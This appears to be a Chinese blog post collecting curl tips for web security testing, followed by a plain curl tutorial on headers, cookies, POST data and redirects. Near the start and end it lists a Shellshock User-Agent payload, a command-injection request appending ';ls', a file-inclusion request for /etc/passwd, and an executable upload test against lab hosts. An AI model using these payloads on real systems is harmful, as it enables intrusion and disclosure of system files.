最近发现国外喜欢用curl来进行安全测试,于是记录了一些tricks!
常用使用方法
http methods curl -XTRACE <url>
x-forwarded-for curl -H "X-Forwarded-For: 10.0.0.1" <url>
basic authentication curl -u <user>:<password> <url>
post form curl -XPOST --form "b=4_1" <url>
cookie curl --cookie "PHPSESSID=5ved46gn34dopkjhstrrfgdkk1;" <url>
cookie files (save & send) curl -c /tmp/cookie.txt -b /tmp/cookie.txt <url>
set user-agent curl -A "Mozilla" <url>
referer curl -H "Referer: https://www.cnn.com" <url>
json curl -XPOST -H "Content-Type: application/json" -d "[[\"create\",{\"type\":\"trial\",\"name\":\"bug\"}]]
silent curl -s
verbose curl -v
ignore certifikate issues curl -k
follow redircts curl -L
redirect output into file curl -o
curl with proxy curl -x :
curl SSL V3 curl -k -v --sslv3
curl max time (4 seconds) curl -m4
file upload curl -XPOST -F ul=30000 -F location=/tmp/upload-form-data.txt -F userfile=@/tmp/upload-file.txt
shell-shock curl -k -L -H 'User-Agent: () { :;}; curl -L ;'
post data from file curl -data '@'
curl output response time curl -o /dev/null -w%{time_connect}:%{time_starttransfer}%{time_total}
curl output request size curl -o /dev/null -w%{size_request} %{size_upload}
curl output http status code curl -o /dev/null -w%%{http_code}
curl resolve ip from other dns curl --resolve " www.cnn.com:80:8.8.8.8" http://www.cnn.com
当我们不加任何选项使用 curl 时,默认会发送 GET 请求来获取链接内容到标准输出。
curl http://www.codebelief.com
如果我们只想要显示 HTTP 头,而不显示文件内容,可以使用 -I
选项:
curl -I http://www.codebelief.com
输出为:
HTTP/1.1 200 OK
Server: nginx/1.10.3
Date: Thu, 11 May 2017 08:24:45 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 24206
Connection: keep-alive
X-Powered-By: Express
Cache-Control: public, max-age=0
ETag: W/"5e8e-Yw5ZdnVVly9/aEnMX7fVXQ"
Vary: Accept-Encoding
也可以同时显示 HTTP 头和文件内容,使用 -i
选项:
curl -i http://www.codebelief.com
输出为:
HTTP/1.1 200 OK
Server: nginx/1.10.3
Date: Thu, 11 May 2017 08:25:46 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 24206
Connection: keep-alive
X-Powered-By: Express
Cache-Control: public, max-age=0
ETag: W/"5e8e-Yw5ZdnVVly9/aEnMX7fVXQ"
Vary: Accept-Encoding
......
我们可以使用 >
符号将输出重定向到本地文件中。
curl http://www.codebelief.com > index.html
也可以通过 curl 自带的 -o/-O
选项将内容保存到文件中。
curl -o index.html http://www.codebelief.com
curl -O http://www.codebelief.com/page/2/
注意:使用 -O
选项时,必须确保链接末尾包含文件名,否则 curl 无法正确保存文件。如果遇到链接中无文件名的情况,应该使用 -o
选项手动指定文件名,或使用重定向符号。
我们可以使用 -o
或 -O
选项来同时指定多个链接,按照以下格式编写命令:
curl -O http://www.codebelief.com/page/2/ -O http://www.codebelief.com/page/3/
或者:
curl -o page1.html http://www.codebelief.com/page/1/ -o page2.html http://www.codebelief.com/page/2/
如果直接使用 curl 打开某些被重定向后的链接,这种情况下就无法获取我们想要的网页内容。例如:
curl http://codebelief.com
会得到如下提示:
<html>
<head><title>301 Moved Permanentlytitle>head>
<body bgcolor="white">
<center><h1>301 Moved Permanentlyh1>center>
<hr><center>nginx/1.10.3center>
body>
html>
而当我们通过浏览器打开该链接时,会自动跳转到 http://www.codebelief.com
。此时我们想要 curl 做的,就是像浏览器一样跟随链接的跳转,获取最终的网页内容。我们可以在命令中添加 -L
选项来跟随链接重定向:
curl -L http://codebelief.com
这样我们就能获取到经过重定向后的网页内容了。
我们可以使用 -A 来自定义用户代理,例如下面的命令将伪装成安卓火狐浏览器对网页进行请求:
curl -A "Mozilla/5.0 (Android; Mobile; rv:35.0) Gecko/35.0 Firefox/35.0" http://www.baidu.com
下面我们会使用 -H 来实现同样的目的。
当我们需要传递特定的 header 的时候,可以仿照以下命令来写:
curl -H "Referer: www.example.com" -H "User-Agent: Custom-User-Agent" http://www.baidu.com
可以看到,当我们使用 -H
来自定义 User-Agent 时,需要使用 “User-Agent: xxx” 的格式。
我们能够直接在 header 中传递 Cookie,格式与上面的例子一样:
curl -H "Cookie: JSESSIONID=D0112A5063D938586B659EF8F939BE24" http://www.example.com
另一种方式会在下面介绍。
当我们使用 cURL 访问页面的时候,默认是不会保存 Cookie 的。有些情况下我们希望保存 Cookie 以便下次访问时使用。例如登陆了某个网站,我们希望再次访问该网站时保持登陆的状态,这时就可以现将登陆时的 Cookie 保存起来,下次访问时再读取。
-c 后面跟上要保存的文件名。
curl -c "cookie-example" http://www.example.com
前面讲到了使用 -H 来发送 Cookie 的方法,这种方式是直接将 Cookie 字符串写在命令中。如果使用 -b 来自定义 Cookie,命令如下:
curl -b "JSESSIONID=D0112A5063D938586B659EF8F939BE24" http://www.example.com
如果要从文件中读取 Cookie,-H 就无能为力了,此时可以使用 -b 来达到这一目的:
curl -b "cookie-example" http://www.example.com
即 -b 后面既可以是 Cookie 字符串,也可以是保存了 Cookie 的文件名。
我们以登陆网页为例来进行说明使用 cURL 发送 POST 请求的方法。假设有一个登录页面 www.example.com/login,只需要提交用户名和密码便可登录。我们可以使用 cURL 来完成这一 POST 请求,-d 用于指定发送的数据,-X 用于指定发送数据的方式:
curl -d "userName=tom&passwd=123456" -X POST http://www.example.com/login
在使用 -d 的情况下,如果省略 -X,则默认为 POST 方式:
curl -d "userName=tom&passwd=123456" http://www.example.com/login
强制使用 GET 方式
发送数据时,不仅可以使用 POST 方式,也可以使用 GET 方式,例如:
curl -d "somedata" -X GET http://www.example.com/api
或者使用 -G 选项:
curl -d "somedata" -G http://www.example.com/api
从文件中读取 data
curl -d "@data.txt" http://www.example.com/login
带 Cookie 登录
当然,如果我们再次访问该网站,仍然会变成未登录的状态。我们可以用之前提到的方法保存 Cookie,在每次访问网站时都带上该 Cookie 以保持登录状态。
curl -c "cookie-login" -d "userName=tom&passwd=123456" http://www.example.com/login
再次访问该网站时,使用以下命令:
curl -b "cookie-login" http://www.example.com/login
这样,就能保持访问的是登录后的页面了。
语句:curl "//192.168.0.16/commandexec/example1.php?127.0.0.1;ls"
效果:
语句:curl -O //the.earth.li/~sgtatham/putty/latest/putty.exe
语句:curl http://192.168.0.16/fileincl/example.php?page=/etc/passwd
如果你想验证你访问的服务器支持哪种http methods,可以使用以下命令,这个技巧有时候会有用!
curl -v -X OPTIONS http://www.google.com
可以看到google支持的是GET,HEAD方法!
语句:curl --data "uname=test&pass=test" http://testphp.vulnweb.com/userinfo.php
如果网站允许上传图像或文本,你可以使用这个测试,例如在Facebook上传图像。使用curl命令上传目标系统上的putty.exe文件。
语句:curl -F 'image=@/root/Desktop/putty.exe' http://192.168.0.16/upload/example1.php
curl还可以配合解析xml,json的脚本程序使用用来解析网页!配合bash命令如grep可以过滤一些内容!且curl在一些版本场合还存在命令执行漏洞,这里不再延伸!